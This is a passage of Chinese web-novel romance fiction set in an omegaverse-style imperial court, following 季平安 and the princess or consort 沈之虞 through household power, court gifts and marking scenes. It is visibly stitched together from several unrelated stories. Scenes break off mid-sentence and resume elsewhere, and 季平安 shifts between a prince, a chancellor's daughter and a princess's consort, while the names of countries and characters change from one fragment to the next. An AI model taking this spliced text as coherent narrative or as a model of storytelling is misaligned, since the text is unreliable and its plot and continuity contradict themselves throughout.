季平安眨了下眼,揣摩着她的意思,试探着问道:“那我跟在你后面,帮忙收拾尸体?” 沈之虞的唇角忽地弯起了个很浅的弧度。 很明显,不是之前的若有似无,而是实实在在的笑了。 季平安眼睛都没有敢眨一下,愣了片刻后,才道:“看来殿下很喜欢这个安排。” 沈之虞刚才的紧绷褪去了些,眸眼里是放松的神情。 她看着人,问道:“收拾尸体,你不会害怕吗?” 之前杀完刺客后,手都是抖的。 如今又亲眼见到我杀人,不会害怕吗? 季平安想了下,道:“只要殿下在我旁边,我就不怕。” 第 98 章 第 98 章 听到她的话,沈之虞也愣了下。 明明前些天,对方还刻意和她拉开距离,现在却又说出来这话。 她垂了下眸,道:“如果我不在你身边呢?” 季平安思考了片刻后,道:“那我就去找殿下啊。” 她的眉眼带笑,道:“我胆子小,殿下可不要嫌弃我。” 沈之虞:“胆子小?” “你可以信我。”季平安认真道。 她眸子中的真诚,看的沈之虞一愣,心中居然升起一丝信任来。 笑话,季狗只装模做样了一天罢了,谈何信任。 季平安知道,单凭说是没有用的,她捞起小北挂在一旁的披风就往外跑去。 沈之虞看到她奔跑的背影,久久不能回身。 少虞的意气风发,快乐肆意,仿佛有一束光打在她的背影上,在寂寥的冬日,给人眼前一亮,带来丝丝的暖意。 沈之虞看着这样的季平安,心间出现了一丝莫名的向往。 随即沈之虞冷下了眼神,季狗不可原谅,南秦与北齐联合起来求娶沈家坤泽,为的就是这一代沈家家主只有两个坤泽。 沈之虞的阿姊在北齐为太女侧妃,她嫁给了楚湘王为王妃。 两国一同求娶,若不嫁,那迎来的就是两国铁骑。 若嫁,沈家的两个女娘,一个远赴北齐,一个来到南秦,沈家家主后继无人。 沈家养女众多,终不是亲生,两国皇室这么做,图谋的是十八矿。 要是十八矿那么好拿到,沈家就不会存在至今了。 南秦北齐皇室,觊觎沈家之心不死,沈之虞不知道阿姊在北齐如何,可她在南秦的日子,是自己亲身体验的。 南秦上都城的皇室贵族把她归为商户,以此来抬高自身的地位,用嘲笑打压她来体现自身的优越感。 季狗反抗不了皇帝,就拿她出气。 不管是南秦皇室,还是季平安,沈之虞都是打心底里面厌恶的。 特别是季狗,原本她们都是强权下,无法掌控自身命运的人,但季狗没有对上反抗,反倒是通过欺辱娘家远在他乡的王妃,发泄自己的不满。 沈之虞眼中的季平安,是极度的自私和狭隘,空有野心没有头脑。 刚刚在雨中奔跑的季平安,是她从未见过的鲜活,无拘无束像是十几岁的少虞。 还好雨下的小了,季平安冒雨跑到前院书房,她打开了一处暗格,把里面的盒子抱出来,然后又冒雨往后院跑去。 一路上奴仆看着她不顾体统的跑来跑去,碍于她平日的威严不敢上前。 前身做人做到这份上也是没谁了,过了一遍前身的记忆后,季平安觉得前身就是一个无法正确认知自己的人,前身的结果,本就是因其过度自负导致的结局。 前身经常通过压迫弱者,来体现自己的优越感,特别是奴仆,生死在王上一念之间,前身向来跋扈,对待奴婢苛刻,奴婢怕她是正常的。 因此,季平安在雨中奔跑,没人敢上前送伞。 她也不在意,抱着盒子跑回了正院。 小北已经拿了礼单回来,见她淋雨跑来,忙拿伞迎了过去。 “殿下怎么淋雨出去,也叫个婢女小厮撑伞。” 小北帮她把披风脱掉,屋内够热,她的身上又穿着皮毛做的长大衣,里面还夹了棉,再加上前身有点儿身体底子,倒是没觉得冷。 季平安摆摆手,坐到了沈之虞的对面,上面的餐盘早就收了下去,她把献宝似的打开,然后把里面的东西一件一件的拿出来。 “这个是王府府兵的令牌,有了这个,府中左右两卫,皆由夫人调遣。” 府中两卫各六百人,设从五品副千户两人,分管两卫。 南秦与北齐一样,兵制划分简单,到了四品,才算是进入将军之列。 两卫制衡,前身对府兵不算重视,对其中情况不太了解。 季平安继续道:“这些是王府中的产业,庄子铺子都在里面,以后都是夫人你来管。” 王府的府兵,产业,还有管家权,她全部交给了沈之虞。 现在整个楚湘王府的权力由沈之虞掌控,除了季平安,没人敢惹沈之虞。 身为主君,管家权跟家中产业收回只是一句话的事情,唯独兵权不好收。 兵权一旦交出,再想收回就难了。 历代帝王不会轻易把兵符交出的原因正是如此,生怕国之军队,变成某家私军了。 一府府兵只有一千多,量算不上大,却掌管着府内的安全。 季平安可以算是把自己的半条命交给了沈之虞,等到对方彻底掌控了府兵,府中上下还不是全凭对方一句话。 只要沈之虞把府兵的副千户,百户,全部换成自己的人,再加上沈家的钱,府兵就可以不认她这个王上。 王府的安全都交给沈之虞了,那她自然也是交给沈之虞了。 这时,季平安额间发丝上滴下了一滴水,正好滴在手中的纸上,上面干了许久的墨,微微化开了些。 她忙用袖子把上面的水渍擦干,“没事,马上就干了。” 她的动作跟小孩子一样,完全没有皇室的讲究。 皇家礼仪严苛,皇室中人从小就要接受礼仪教导。 无论是刚刚雨中奔跑,还是毫不在意的用袖子擦带墨的水渍,都不是多虞接受礼仪教导的人能做出来的。 往日季狗最爱端着王上的架子,平常眼高于顶,从不礼贤下士,对朝中大臣,更不会做姿态。 这样一个处处彰显自己尊贵的人,怎么会做出这样的动作。 旁边的小北却偷笑了一下,眼前蒙上了一层薄雾,“殿下好久没有这么孩子气了。” 季平安愣了愣,忽地想起,先皇后在世时,前身还很小,人前是礼仪满满的小团子,回到先皇后身边,就是一个爱闹的小屁孩。 先皇后去世后,以她的身份,后宫嫔妃没有人敢管她,后来新后上位,皇宫中传出了各种恶意满满的话。 什么册封新后,太女殿下怕是要换人了,楚湘王殿下恐不能活着长大。 皇宫里面的内官婢女,闲来无事爱传谣言,再加上有心之人故意挑唆。 一个刚失去娘亲的孩子,当时前身只有八岁,在很短的时间内性情大变。 当然了,不管前身小时候再怎么优秀,后来性情大变,坏事做了不少,那都是事实。 不能因为一个人曾经是个不错的人,所以原谅她现在做下的错事。 季平安对前身并没有同情,人不该把自己的不幸,发泄在无辜的人身上。 “小北,把礼单给我。” 礼单是李昭贤送的,不是沈家,里面搞不好隐藏了什么,能诬蔑她们的证据。 “礼单给王妃看过了,殿下您还是先换件衣服吧。” 多亏了外面的雨不大,季平安还用披风挡了一下,淋的并没有那么湿。 见小北担忧的目光,她犹豫了一下。 沈之虞拿起手边的礼单道:“礼单没问题,但这些东西不是沈家的,不适合留在王府。” “是,夫人决定就好。” 既然沈之虞看过礼单了,季平安就没打算看。 她起身让小北帮她把外衣换下,擦了下发丝道:“对了,小北。” “殿下。” “你去让安远回来,以后府兵归王妃管了。” 有了沈之虞,就不需要安远去整治府兵了。 安远是她的亲卫,全由老镇国公选拔,认人不认令,就算给沈之虞也没用。 沈之虞抬眸,她并不知道季平安派安远去前院兵营了。 季平安自己整理了下衣服,自己倒上了茶水道:“李昭贤的礼不能留在王府,更不能随便处理了,要不,我们送出去如何?” “送?”沈之虞眉头微动,李昭贤的东西送给谁都是雷。 “皇宫,东宫,各个王府,已开府公主府,郡主府,全部送上两只羊,剩下的均分送过去。” “吃人嘴软,我们把这次得的礼全分了,足以证明我们心中没鬼,各家各户都分了,进了你家的门,再说我家的东西有问题,到底是什么时候出的问题,说的清楚吗?” 季平安认真的说着,到时候羊肉都进到嘴里了,再说她们的东西有问题, 冬日里西北的羊在上都很受欢迎,西北到上都路途遥远,只有贵族人家能在大冬天的吃上一顿西北羊肉锅子。 礼单都进到肚子里了,她看李昭贤还能作什么妖。 说起来,季平安的眼睛亮亮的,稍显的有点儿兴奋。 沈之虞被她孩子般的兴奋逗的嘴角弯了弯,但马上就收敛了起来。 “王妃,东宫来人了。”南灵不知道什么时候出门又进来,屈膝行礼道。 听到东宫,沈之虞眉头蹙起,“让她们进来。” 东宫知道了李昭贤来了上都,该不会还知道了她跟李昭贤接触的事情吧? 太女季承继,可不是季平安那样好对付。 季平安也好奇的坐直了身子,等着东宫的人进来。 没一会儿,一行人手里捧着东西走了进来,为首的是东宫女官。 宫中失了腺体的乾元是内官,坤泽与和元统称女官。 通过发型可以分辨乾元跟坤泽,而和元不受拘束,单看个人喜好,宫中则坤泽跟和元一个发型。 “楚湘王殿下,奴婢奉太女殿下的旨意,带上薄礼,恭祝王妃有孕。”女官恭敬的说完,让人把东宫礼物呈上。 前身不是没有接过东宫的礼,季平安在女官提到太女时就站了起来。 不仅如此,她还往边上一步,扶起沈之虞。 她微微弯腰行礼道:“多谢太女殿下赏赐。” 东宫说薄礼是客气,哪怕是亲姐妹,也得说是赏赐。 女官挥手让身后的人出去,然后换上了笑脸,“殿下,太女殿下有几句私话转达。” “姑姑请讲。”对虞长位高的女官称一声姑姑,是宫中常有的事情。 皇帝对身边亲近的女官,还要称呼姑姑呢。 女官的眼皮沉了沉,“太女殿下说,她本不应该管你房中事,但先皇后崩逝,她身为长姐不得不管,如今王妃有孕,无法伺候殿下,于是托皇储妃选了几个好的宫婢带来送于殿下,还请王妃妥善安排。” 季平安:“???”什么意思,给她送侧室? 不是,她可是受过一生一世一双人教育的,婚姻中哪能容的下别的人,还一下子送了好几个。 她无措的看向沈之虞,结果沈之虞根本不理她。 对方明显不愿意管这些事情,她娶侧室也好,纳妾也罢,身边多少莺莺燕燕都无所谓。 她求助失败,大脑快速转动。 她刚打发身边的贴身婢女,再来几个小妾,那她得多麻烦啊,大好的日子怎么过下去。 人还是太女送来的,根本不好轻易打发了,放在府中就是累赘。 季平安着急之下,一把揽住沈之虞的肩道:“有劳太女殿下与皇嫂费心了,本王与王妃感情很好,此生唯有王妃一人,至于宫婢,姑姑还是带回去吧。” “殿下”女官试图反对。 她干脆利落的侧身歪头,亲在了沈之虞的鼻尖。 嗯她怕亲嘴,等女官走了,自己会被打死。 等到标记完成后,季平安的呼吸也变得有些不稳。 她尽量平复着自己的心跳,低头看向怀里的人。 可能是因为刚才上了药,又因为拒绝的话耽搁些时间,等到标记完沈之虞已经累的睡了过去。 季平安下床打了些水,帮人将额头上的细汗擦了擦,然后又俯下身,想帮人将被子盖好。 也是这时候,她才意识到,只要再往下低一些。 她就能够吻到对方。 这些天因为忙碌被忘掉的念头,再次浮现在了脑海中。 想亲对方。 季平安的眼睫动了下,视线却没有移开半分。 沈之虞的唇瓣很好看,也很柔软。 不仅吸引人的目光,还蛊惑着人不断靠近,靠近。 季平安的脑海也慢慢变得空白,身体也俯的更低。 忽然间,外面传来了云棋的声音。 “驸马,你要的热水。” 季平安猛地坐直了身体。 过了片刻后,意识慢慢回笼,季平安才摸向自己的唇瓣。 亲到了吗? 她努力回想,但刚才的记忆像是平白消失一般。 唯独心脏狂跳。 第 99 章 第 99 章 门外的云棋没有听到声音,又轻敲了下门:“驸马?” 闻言,季平安也再次回了神。 她努力放稳自己的声音,道:“进来吧。” 云棋推开门,将热水端到了床边。 靠近了之后,她才觉得有些怪。 殿下还是躺在床上,但驸马却坐在床尾的位置,整个人像是生怕挨到殿下一样。 季平安注意她的视线,道:“你帮殿下擦擦额头和身子吧。” 她知道沈之虞爱干净,这样睡一晚上肯定受不了。 只是她回想到刚才的事情,自己肯定是不能碰沈之虞了。 要不然,还不知道会做出什么冒犯的举动。 她惊呼,昨天貌似看到她在轿辇中流血的手,只是醉的厉害,并未觉得哪里不对,现在看着,那白皙玉手被一层纱布包裹,她杏眼圆睁,她竟连一个受伤的人都不放过? 她多少有点禽兽不如~ “本来没什么大碍,季姑娘又啃又咬的,本宫只好找太医过来看看。” 这什么虎狼之词,季平安面上波澜不惊,心中骇浪滔天,她抓着沈之虞的手那画面,内心一阵抽搐。 社畜几年,她怎么没发现自己这么不端庄。 真是好骗,沈之虞看到小姑娘耳边一阵绯红,面上虽努力装的风轻云淡,却还是架不住自己逗弄,心情瞬间大好。 昨夜种种,她甚是满意。 未受伤的手确实有些乏,水般软糯的身子,还有那清香的紫藤花。 季丞相的千金,竟然是百里挑一的极致坤娘,沈之虞看着她目光忽然一凛,像季平安这种极品,滋味曼妙,尝过一次,竟有些上瘾。 这样敏感,若下次潮水期再来,想到是别人遇到,沈之虞心中就一阵不悦,眉眼连带着冷三分。 “季姑娘身体恢复,就离开吧。顺便想想回家如何跟找了你一夜的母亲交代一下。” 季平安尚未回神,还在想着要怎么缓解这恼人的关系,蓦然听到沈之虞提到她母亲,不得了,她怎么忘了,她是跟季澜一起来的,自己提前离席,也没跟季澜打招呼,现在她回去,可要怎么说道? 沈之虞并未为难她,差了府中侍卫领她到大门口。 丞相府。 “九儿,你可吓死娘亲,彻夜未归,担心死老娘,还以为你被拐了。” 看着闻风赶来的中年女人,衣着得体大方,身材修长,头发精心梳理后高高挽起,插了金簪手饰,漂亮而绰有风姿 只是这出口的话,怎么? 季平安呆了片刻,书中并未对姜雅风着墨过多,没想到原身的娘是这样的,季平安莫名放松下来,这性格她喜欢。 琢磨着用词,她该怎么解释彻夜未归,在古代,豪门大家小姐又是待字闺阁,彻夜未归传出去一定会落的声名狼藉,丢尽脸面。 她要怎么解释才好呢? “娘亲,我”秦国长公主府。 秦国是长公主封号,如秦王,齐王等以国名为封号,在圣元这一朝,秦国的封号给了沈之沈,意味着无上尊贵,大周史上用封国为封号的公主仅此一人,秦这个封号,一共封了两次,两个都做了皇帝,可见沈之沈这个封号的尊贵。 长公主府的规格自然也是一等一的,比皇宫肯定比不上,但比京都任何宅子都是顶尖的,无论王爷国公还是首辅的宅子,比起长公主府都差一些。 沈之沈的永宁院在长公主府更是最大最好的一个院落,她靠坐在暖亭里,冬日寒冷,亭子围上帷幔,里面燃上了炉子,热茶烤橘,还有……栗子。 在寝殿里时间久了,沈之沈也想换个地方待待,今日觉得身体大好,又出了大太阳,她便想出来晒晒太阳。 没一会儿夏去走了过来,“殿下,驸马在城外遇到了皇商林家的林制义。” 沈之沈挑眉,她不意外季平安跟林制义的关系,这样的话,让季平安徒步的目的岂不是没有达成。 “殿下,要不我带人在她回来的路上,收拾她一顿?”夏去说的这个“她”,旁边的人都知道是谁。 她们早就想收拾季平安了,只要公主殿下同意,不,默认就行。 沈之沈端起旁边的热茶微抿了一口,什么都没有说。 还是旁边的春归道:“你当殿下为何让驸马做清远县的知县。” “为什么?”夏去傻傻地问。 “淮安侯府兼并的民田就在清远县,而受害人状告公主府被关押在了清远县大牢里,这件事就等着驸马去处理呢。” 春归说得这么明白,夏去也不傻,“你的意思是,殿下是在给她挖坑?” “咳!”春归轻咳一声,给她使了个眼色,“也不算挖坑,是考验。” 夏去偷瞄了沈之沈一眼,随即嘿嘿一笑。 这个时候做清远县的知县就得处理淮安侯府兼并民田案,就看季平安是捂住不说,还是偏向哪一方。 季平安想捂,沈之沈也不会让她把案子给捂住,后面受害人家人撞宫墙,让这件事迅速被京都众人热议,根本捂不住的。 若季平安偏向淮安侯府,沈之沈就会连同她跟淮安侯府一同覆灭,她手里的证据,容不得淮安侯府逃脱,而季平安必然会被连累。 可要是季平安大义灭亲,皇帝那边必然觉得她不懂事,这个人狠起来连自己的家人都不放过,满朝文武都会看不上她,甚至为了某些不为人言说的利益,攻击她。 那季平安的处境就会变得很差,真正的变成一个孤家寡人,皇帝是孤家寡人,但皇帝有至高无上的权力,季平安?朝堂上的孤臣是要被人围攻的。 沈之沈把杯中热茶倒在地上,地上的热气升腾而起,总不能让季平安死得太容易了。 可要是季平安挣扎出来了,那便是后话了。 季平安何尝不知,她并非明知山有虎,偏向虎山行,若前怕虎后怕狼,她也不必谈什么改变命运了。 人生在世,总得闯一闯,闯出去就又是另一番天地。 “娘亲知道,你途中遇到长公主,长公主见你很得眼缘,便邀你去府上一续,你这才彻夜不回。” 什么? 季平安懵了,她确实在沈之虞那里浪了一晚上,但怎么到了姜雅风口中,成了很光荣的事。 都长公主眼缘? 要是她娘知道她死拉着别人不松手,也不知道还会不会这么欢喜。 “哎呀,长公主是出了名的阴情不定,性格阴郁,难以接近,没想到我们九儿还能得她喜欢,真是造化。” 季平安打断她:“娘,你怎么知道我” “你踏入府邸前一秒,长公主家的侍卫就来我们这说道了,你母亲也松了口气。” 沈之虞真行啊,一面跟她说让她回家跟母亲们解释,一面又不动声色的给她解了围,保全了她的名声,又顾全了丞相府的脸面。 就是害得自己路上白担心一场,一直心中惴惴不安,手心都逼出汗来,这人真坏。 想到那张精致雍容的脸,还有纤长白皙的手指,季平安忽然打了个寒噤,四肢百骸又开始流窜起莫名的情绪,那只手昨夜就在她身上如水蛇般缭绕环行。她,是不是有病,竟然对个女人浮想联翩。 “娘,长公主同我论了诗书,又下了棋,我有些乏了。” “原来是考你才艺,我们九儿可不怕考。” 姜雅风满面笑意,招招手:“赶紧扶小姐进屋休息。” “我让人给你打洗澡水,好好解解乏。” 姜雅风自从知道自己女儿被一人之下万人之上的长公主看中后,心情就格外的好。 沈之虞的大名在昭国谁人不知,年纪轻轻就手握重拳,权侵朝野。 她又是皇上亲姐,这身份,即便是丞相府,也觉受宠若惊。 浴房内,奴婢小桃给她添了热水,准备了梳子以及要换洗的衣物,全身浸泡在水中,季平安身上陡然闪过一片电流,于水中瑟缩一下,沈之虞那只魔性的手怎么那么邪恶,她明明不想想,还是止不住的钻入脑内,惹得她浑身发酸。 要是提早知道原身不善饮酒,她就借口不去赴宴。 现在平白招惹一个高位之人,真是造孽。 半月后。 季平安同小桃逛完集市回来,手中拎着大包小包,昭国皇城脚下的市集格外热闹,茶楼,酒肆,作坊,当铺哟呵声叫好声,铜器敲击声,面饼店拍打面团的沉闷声,熙来攘往,声浪嘈杂,烟火气十分浓郁。 在首饰店里,她买了些吊坠小玩意儿,姑娘家的胭脂水粉,虽说这些丞相府里都不缺,但是自己逛街买的就格外香。 刚进家门,就觉得不对。 府中太沉闷,尤其进到大厅,只见她母亲同娘亲坐在那,陪着一个身穿官服的陌生女子聊天。 看形制,是宫里来的。 那人端着茶盏,轻抿一口,抬眼瞥见她身影,立刻起身,笑道:“丞相大人看来派出去的人与大小姐走错了位。” 季澜见她,立刻招手:“九儿。” 季平安直觉这人来家里,与她有关。 可一时又想不明白,为何会招惹宫中人。 进了屋,行了礼。 季澜道:“快见过花掌印。” 宫中的掌印公公,直接侍奉皇帝,地位有的比一般官员还要高。 难怪她母亲要陪着。 “平安见过公公。” 花伶眉眼含笑,满意的点头,看着她挥手:“皇上有旨,季小姐接旨吧。” 季平安不明所以,跪地。林制义来找季平安是为了当时听到她要做生意的事情,回去跟父亲说了自己的想法后,父亲虽不看好什么药材生意,却想要跟长公主府搭上关系。 他心知自己儿子不是一个做考科举的料子,也只是为了让他能找点事情做,别整天傻乎乎地被人骗银子。 以林家的实力,银子都不算什么,可林制义交往的那些人,除了骗银子花一无是处,就算林家把银子用来施粥,还能在京都换取好名声呢,给那些人骗去,就是肉包子打狗有去无回。 那些人里面最后也就出了一个季平安,当了驸马,想着跟长公主府搭上关系,不管季平安做什么生意,都让儿子随一笔。 林家是有钱,可白花花的银子,总不能扔到水里连个响都听不到吧。 季平安听林制义说要跟自己做生意,她故作不解,“你们林家这么有钱,还能看上我这个小生意呢?” 当时她随口跟林制义说了一句,也不是为了跟林家合作,她是惦记上了林家一个人,当时她看小说还挺有印象的,想着通过林制义,认识一下林家的那位。 倒是未曾想,林家居然要跟她做生意,想来也不是真的看好她这个生意的前景,估计是为了跟长公主搭上关系。 季平安有自知之明,在没有看到样品的情况下,对生意一无所知的情况下,要是林制义还能说他是地主家的傻儿子,可要是他的家人也支持,那就不得不令人深思了。 果然,林制义伸出一个手指低声道:“我家愿意出这个数?一万两占一成。” 季平安轻笑,“林家好大的手笔。” “只是若是你与我谈生意,我或许还能跟你好好谈一下,既然是林家,那就不是这个谈法了。” “我的药馆林家可以参股,但我的分成点,需按照一百个点来算,林家只能占一个点。” 一万两一个点,算起来这个生意要投入一百万两银子才行,一百万两银子是什么概念?武城赈灾,朝廷才给了十万赈灾银,那事关武城数十万人的生计。 所以说,林家给的一万两已经很多了,可做生意不是这么算的。 市场上稀缺她的药丸,况且还有美容养生一系列的东西,乾元坤泽和元,男女老少的市场她都会网入其中,单在京都说不好就能赚到百万两银子,况且这个生意的靠山是沈之沈,技术是她出的,光出银子,哪怕附带经营,一个点已经不少了。 她给沈之沈九成,只因那人是沈之沈,跟林家是在商言商,毫无情分可言,甚至是林家主动想攀上公主府的关系,所以不管怎么算,一万两银子,最多给林家一个点。 跟人合伙做生意,不是你出五十万,我出五十万,我们就各占50%的股份了,还要看资源关系,个人能力,一个生意能做出来,往往后面更重要。 哪怕药馆的生意全由林家出资,一万两银子起步,季平安也不会再多给一点。 她是技术人员,沈之沈是资源咖,而且那可是沈之沈,多给点钱怎么了,公主府又不是拿不出一万两银子,她同意林家入股,看中的还是林家遍布北方的产业链。 到时候以长公主的名义扩充虽然不会太难,但是耗时耗力,用林家的是现成的。 季平安的话让林制义震惊的张大了嘴巴,随后兴奋道:“好好好,怪不得你能当驸马,这样的话我家就能多出钱了,到时候你可想着点儿弟弟我啊!” 季平安:“……” 不愧是人傻钱多林多金,为了自己日后零花钱多,都能让家里不知道多出多少钱。 “行了,清远县快到了,我先下车。”季平安可不想被清远县百姓看到她坐豪车,否则日后工作不好处理。 “为何?”林制义疑惑了一瞬,随即明白过来,“我懂,你们这些官员都这样,不过你是勋贵又不是文官,对哦,我听说你已经任清远县知县了。” “罢了罢了,我让人给你准备马,给你属下也准备一匹,省得她骑驴了,怪丢脸的。” 季平安无语,陈远说公主府的马都是公主的,不是为公主办事不能骑马,他只能去借了驴,驴脖子上的铃铛叮叮当当地直响,对官员来说确实有点儿失形象。 “如此那便多谢了,安上回来就把马还你。” “还什么,两匹马而已,你我是朋友,谈什么还不还的可就伤感情了。”林制义大方地摆摆手。 马匹是军用物资,市面上就算能买到,那马商背后也是有关系的,而且规模算不上特别大。 一匹马的价格差不多几十两银子,季平安看到林制义牵来的两匹马,一看就还不错。 季平安道了声谢,翻身上马,由陈远带着往清远县县衙去。 清远县是京县,一个县约莫有十万人,都相当于部分州级城了。 季平安入城观察了一会儿,清远县是几个京县里面比较差的那个,农田被勋贵世家,士绅豪族把控,就算是知县,在这边也没什么话语权。 来到这个地方,季平安已经做好打一场硬仗的准备了。 “奉天承运,皇帝诏曰,今丞相之女秀外慧中,德才兼备” 季平安听着前面赞美之词,直到后面重点出来。 接完圣旨后,脑子发晕。 皇上下旨,让她去做长公主府的侍读,这么多天下来,她对沈之虞的感觉慢慢淡化,现在又冷不丁的冒出来,她又不是文科班出生,去做侍读,说错了什么再惹她不悦,季平安心中一片凄凉。 她能不去咩? 在丞相府里躺平,混吃等死,不比跟着沈之虞来的舒爽? “臣女接旨。” 季平安起身踱着碎步,接圣旨的那一刻。 “九儿阿九” 周围惊呼声起,一阵乱哄哄,她华丽丽的仰面倒了。 “小姐小姐?” 小桃睁着大眼在她耳边轻语,季平安面色苍白,唇色干涸,眼底青灰无神,软弱无力道:“我怎么了?” “可担心死娘了,九儿,你是不是高兴坏了?” 哈? 季平安一惊,看着姜雅风,那张红唇里指不定要说出什么她不感兴趣的话。 “你就是想去长公主府侍读,也不要在接圣旨的时候不加掩饰呐,直接激动的晕过去,也太不文雅了。” 天嘞! 季平安听完面色更加苍白,她只是不想去沈之虞那里,才装晕,要不是情况紧急,她来不及搞点别的,譬如喝点让人生病的药,被什么东西砸中她肯定要去做啊。 现在装晕竟然被她娘理解成是太想去长公主府,太想去沈之虞那里,才高兴的晕厥。 季平安想了下,随口道:“可能什么都不当吧,我还没有想这么远呢。” 她对朝堂不感兴趣,无论是忠臣还是奸臣,都不是她愿意做的。 闻言,沈之虞落在她身上的目光却顿了下。 季平安本来便和她来往的那些官员不同,从事始终也不是为了封侯拜相。 若是事成,对方会离开。 这是她曾经和对方约定过的事情,按照道理来说并不应该意外。 但是现在提起来,她却忽地感觉有些不习惯。 第 100 章 第 100 章 沈之虞状似无意地道:“什么都不当也可以,总归不会让人欺负了你和岁岁。” 季平安笑了下:“那当然,我的背后可是殿下。” 说话间,风吹动了门窗,发出嘎吱嘎吱的声音,连屋内的烛光都晃的厉害。 季平安注意到,起身加上防风的灯罩,将窗户关紧了些。 沈之虞注意到,说道:“可能要下雨了。” “是啊,今天下午就是阴天。”季平安答道。 她开了下门,风声就更明显,卷过宽大的叶片,哗啦哗啦地声音格外大。 月亮已经见不到了,被厚厚的乌云遮盖,低得要垂到地面上。 沈之虞这时候也站到了她的身边,风将她的发丝吹了起来。 她感受着外面呼啸的风,道:“可能会是大雨。” 季平安点了下头:“幸好我们提前把堤修好了。” 水泥筑成的堤是最先修的,这些天也已经完全凝固好了。 其他大大小小的堤,也都筑高了不少,哪怕暴雨会让水位上涨,也不用担心。 没一会儿,大雨便倾泻而下,豆大的雨滴砸在了地上,连珠成串,河道里面的水也多了起来。 南三郡的人都感觉到了动静,也纷纷打开门,看着外面的天。 他们在南三郡土生土长,自然知道这种天气代表着什么。 “这看着是大雨啊,和六年前的那场雨一样。” “说不定比六年前的那场雨还要大呢,你们记得赶紧把院子里的东西都拿屋里来,可别被泡坏了。” “你说七公主会不会是神仙啊,所以才提前把堤修好,就是防着今天的雨呢!” “说不定真的是呢,七公主和驸马都是天上的神仙,专门过来保佑我们的……” “……” 但不管雨多大,南三郡的人却都难得睡了个好觉。 不用再像之前一样彻夜难眠- 把沈琼玉送走后,她们又检查了遍府里人准备的东西,确认没有问题后,便一起去了岁岁的房间。 小孩偏好安静,爱好也偏好看书和写字之类的,想找人去对方的房间找就好。 见到她们,岁岁立刻放下了手中的绘本,“阿姐,阿九姐姐!” 季平安笑了下,摸了摸她的头后,坐到她旁边,看到桌上的绘本,问道:“又换了一本?” 岁岁点点小脑袋:“上本已经看完了。”只是这时季平安也正低着头看画,偏头的瞬间,两人之间的距离也陡然间被拉近。 动作间,她们的鼻尖险些撞到一起,彼此都能感受到对方的呼吸,近的像是要吻上一般。 愣了片刻,季平安连忙直起身子,沈之虞也轻轻地偏了下头,刚才略显旖旎的气氛也消失的干干净净。 季平安咳了一声,问道:“殿下有事?”归宁这日。 两人坐着马车到了宫门口。 季平安先下了马车,站稳之后便朝着马车上的人伸出手来,“殿下。” 沈之虞顿了片刻,便把手搭了上去。 归宁宴上的人,相比正常的宴会便少了些朝堂上的官员,大部分都是皇家中的人。 皇帝还没有到,殿里的人三三两两说着话,前面还摆着投壶。 只是当季平安和沈之虞两人今日穿着同色系的衣服,手牵着手出现在眼前时,他们都忘了说话,正在投壶的人也停下了手里的动作,殿里甚至陷入了短暂的安静。 最后还是沈之虞主动打破这份安静,主动开口道:“皇兄、皇姐好。” 季平安也跟着挨个叫人,算是大婚之后的第一次正式露脸。 沈弘星主动拍了拍季平安的肩膀,搭话道:“好,驸马看着就是俊俏。” 他也是乾元,靠近的时候,自然也闻到了季平安身上信香的味道。 在场的其他人也如此,心里都闪过震惊。 放在从前,他们见到的沈之虞向来都是冷静自持的,甚至连对方信香的味道是什么都不知道。 但今天,对方的身上却带着乾元的信香,实在不能不让人惊讶。 九皇子沈宁轩也道:“成亲那日,我本该为驸马好好挡住朝堂那些人的酒。只是我身体不佳,只能少喝上两杯。” 他的身体不好,也是众所周知的事情,季平安自然不会多怪罪。 “九弟多虑了,有你三姐和五哥在呢。”她轻轻点头,语气里带着几分玩笑道:“九弟可也不要借着这个由头喝酒,还是身体重要。” 这话出来,在场的人都笑了,气氛也轻松了不少。 沈宁轩的脸上也带着笑,道:“自然不会。” “那就好。”季平安不忘道:“我和殿下这次进宫,特地给九弟带了些补品,对九弟的身体也有好处。” 归宁自然是要往宫里带东西的。 只是宫里的人谁会缺着这些东西,季平安的这话不过是为了显示显示她们公主府的用心,也在众人面前落个好印象。 沈宁轩:“那便多谢七姐和驸马了。” 这时候在场的大公主沈熙也笑盈盈地开了口,“驸马倒是个有心的人。” 季平安游刃有余地回答:“大公主谬赞,此次我和殿下也给大姐带了东西。” 大公主沈熙也来了兴致,问道:“什么好东西?” 季平安:“奇仙珠。” 奇仙珠就是经常见到的珍珠,但是数量极少,物以稀为贵,能够得到一颗都极为不容易。 她们之前特地打探过所有人的喜好,沈熙最爱的就是美女,公主府里面养了不少人。 但这个自然不能轻易送,只能退而求其次,送给对方同样喜爱的奇珍异宝。 沈熙笑了下,能看的出对奇仙珠很喜欢:“驸马可是太谦虚了。” “没事。”沈之虞道。季平安嗯了声,当做回应。 到傍晚,温度降下来些,也凉爽了不少,一阵风吹过,远处繁茂的树叶便沙沙作响。 在扎营的地方,特地竖了旗帜,如果有想要争争名次的,可以把猎物存放在这里。 只是今天赶路祭祀过后,等到下午才开始正式狩猎,加上要熟悉地型,时间就显得不够充裕。 等到晚上回到扎营的地方,众人交上来的猎物也差不了多少,大家围在旁边看着猎物,猜测谁能够在最后拔得头筹。 “让我说啊,那位武状元和卫校尉的射箭技术都是一等一的好,我对他们两个很有信心!” “你别说,我的想法倒是和你不一样,那位小将军身手看着也不错啊。” “明天过后,差距应该就能拉开了,现在压人,到底有些为时尚早啊。” “刘大人的话在理,说不定还有人故意藏拙,故意让人放松警惕呢……” “话说回来,刘大人今天猎的怎么样,有没有看到什么值得试试身手的猎物?” 沈之虞道:“你之前答应过我,哪怕有喜欢的坤泽,也不能养在外面。” 季平安回想了下:“我说过这个。” 沈之虞:“那你现在做什么?”“我早就说过,我们家阿枝是多好一姑娘,还会发愁……” 孟水山说着话,便感觉自己的唇上一片柔软。 她的大脑一片空白,瞬间愣在了原地。接下来的几天内,沈之虞仍旧昏迷着。 季平安除开照顾人的时间,忙完夏苗收尾的事情后,她便去了一趟宫里。 皇帝见到来人,问道:“小七的身体如何了?” 季平安回道:“殿下身上的外伤好了些的,只是还处于昏迷中。” 明贞帝语气里已经有了些怒意,道:“太医院的这群人,是做什么吃的?若是小七真的醒不过来,他们也全都别待在太医院了,朕要好好治他们的罪。” 季平安跪地道:“父皇息怒,太医院的人虽有错,但有些人的错比太医院的人更大。” 说完这话,她跪在地上,将手上拿着的账本和册子双手呈在头顶,低头道:“儿臣想请父皇,为殿下主持公道。” 明贞帝看向她,让王德全把东西拿上来,问道:“驸马这话是何意?” 